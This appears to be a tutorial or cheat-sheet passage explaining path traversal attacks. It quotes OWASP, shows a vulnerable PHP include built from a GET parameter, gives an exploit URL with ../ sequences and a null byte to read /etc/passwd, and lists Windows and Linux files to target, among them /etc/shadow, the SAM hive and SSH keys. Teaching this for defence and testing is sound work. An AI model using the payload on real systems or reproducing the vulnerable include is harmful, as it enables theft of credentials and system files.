According to OWASP: A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
Let’s see first an example of what a path traversal vulnerability is for a vulnerable website (index.php) in PHP on a Linux server:
<?php
include("/var/www/html/template/".$_GET['template'] . '.tpl');
In the above example the URL receives and argument through the URL (GET method) with a template, however we can bypass the expected folder and remove the extension by using a URL like this:
/index.php?template=../../../../etc/passwd%00
Windows
# As privileged user (Administrator):
C:\windows\win.ini
C:\windows\system.ini
C:\windows\iis.log
C:\windows\System32\Drivers\etc\hosts
C:\Windows\system32\config\SYSTEM
C:\windows\debug\netsetup.log
C:\windows\debug\sammui.log
C:\windows\debug\netlogon.log
C:\windows\debug\passwd.log
C:\windows\system32\winevt\logs\system.evtx
C:\windows\system32\winevt\logs\Windows Powershell.evtx
C:\windows\WindowsUpdate.log
C:\windows\ccm\logs\filesystemfile.log
C:\users\administrator\appdata\local\recently-used.xbel
C:\users\administrator\desktop\desktop.ini
C:\windows\panther\unattended.xml
C:\windows\panther\unattended\unattended.xml
C:\windows\repair\sam
C:\windows\system32\tasks\daily
C:\windows\panther\sysprep.inf
# As non-privileged user:
C:\windows\system32\calc.exe
C:\windows\system32\windowspowershell\v1.0\powershell.exe
Linux
# As privileged user (root):
/etc/shadow
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
# As non-privileged user:
/etc/passwd
/etc/crontab